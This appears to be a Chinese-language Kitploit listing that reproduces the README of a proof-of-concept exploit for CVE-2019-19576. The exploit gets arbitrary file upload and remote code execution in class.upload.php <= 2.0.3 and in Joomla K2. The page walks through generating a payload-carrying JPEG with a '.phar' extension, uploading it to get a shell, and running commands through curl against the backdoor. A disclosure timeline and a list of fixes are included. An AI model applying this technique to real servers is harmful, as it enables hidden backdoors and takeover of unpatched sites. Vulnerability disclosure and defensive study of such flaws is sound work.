Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-19576 — 这是一个绕过过滤器的漏洞利用,可在 class.upload.php <= 2.0.3 中实现任意文件上传和远程代码执行。 | Kitploit
工具/GitHubGitHub/jra89/cve-2019-19576
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubjra89/cve-2019-19576

CVE-2019-19576

这是一个绕过过滤器的漏洞利用,可在 class.upload.php <= 2.0.3 中实现任意文件上传和远程代码执行。

查看仓库
1236年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

class.upload.php <= 2.0.3 任意文件上传

  • 作者 - Jinny Ramsmark
  • 受影响供应商 - Verot.net
  • 受影响产品 - class.upload.php <= 2.0.3
  • 测试环境:新安装的 Ubuntu 19.10,PHP7.3 和 Apache/2.4.38
  • 特别发现 Debian/Ubuntu 存在漏洞,因为它们将 php、phar 和 phtml 扩展添加到了可用的 PHP 处理程序中。在此情况下,class.upload.php 未将 phar 扩展加入黑名单。

描述

这是一个过滤器绕过漏洞,导致任意文件上传和远程代码执行。 class.upload.php 脚本过滤“危险文件和内容”,并将其重命名为 txt 文件扩展名。 它还会对上传的图像进行不同类型的转换,这通常会破坏任何注入的有效载荷,即使可以绕过文件扩展名过滤器。

文件扩展名过滤器是一个黑名单,因此每当引入新的扩展名(此处为 phar)或遗漏了某个扩展名时,就可以上传 PHP 文件。 然而,内容仍必须是有效的图像,并且仍会通过 imagecreatefromjpeg 等函数进行处理。 为此,我编写了 inject.php 脚本,它会以暴力方式尝试不同的图像,直到找到有效载荷不会被 class.upload.php 过程中的操作破坏的图像。这实际上为我们提供了任意文件上传和非常隐蔽的代码执行,因为它仍然是有效的图像,并且会在上传的页面上像正常图像一样显示。

时间线(90 天默认截止日期)

  • 2019-12-03 - 报告给开发者和 K2
  • 2019-12-03 - K2 回复
  • 2019-12-04 - Verot 回复并提供修复
  • 2019-12-04 - K2 回复并准备了他们自己的修复
  • 2019-12-04 - Verot 发布了该修复(v2.0.4)
  • 2019-12-05 - 双方均回复并同意公开信息

此 PoC 中包含的文件

  • composer.json
  • upload.php
  • inject.php

使用方法

upload.php 脚本是 verot.net 的 github 上的示例代码。 我认为使用他们自己的示例代码来演示此漏洞是最好的。

  • 在终端中运行 "php inject.php",它将生成一个包含简单有效载荷的示例图像文件。
  • 脚本完成后,将生成一个名为 "image.jpg.phar" 的文件。
  • 浏览至 upload.php 文件并上传 image.jpg.phar,上传通过后,您将获得一个 shell。

示例

root@kitploit:~
user@ayu:/var/www/html# php inject.php 
-=Imagejpeg injector 1.7=-
[+] 从 http://lorempixel.com/100/100/ 获取图像(100 X 100)
[+] 跳转至末尾字节
[+] 搜索有效注入点
[!] 临时解决方案:如果在此处遇到 'recoverable parse error',表示可能失败
[+] 似乎成功了!
[+] 结果文件:image.jpg.phar
root@kitploit:~
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU

建议解决方案

  • 不要使用黑名单过滤文件扩展名。
  • 默认使用白名单允许的扩展名。
  • 或者干脆不给上传的文件添加任何扩展名,将原始文件名存储在别处。

参考

  • https://github.com/verot/class.upload.php/blob/2.0.3/src/class.upload.php#L3068

在 Joomla K2 扩展中的示例攻击

由于 class.upload.php 版本未修复,导致 JoomlaWorks K2 <= 2.10.1 中任意文件上传进而远程代码执行

网站

  • https://getk2.org/

示例图片

普通用户上传由 inject.php 生成的图像,其中包含简单有效载荷。它将绕过 class.upload.php 中的扩展名过滤器,并且不会被库中的图像处理过程破坏。它会像普通图像一样渲染,更加隐蔽。



该文件将被上传,并可作为后门访问,执行命令。

下载工具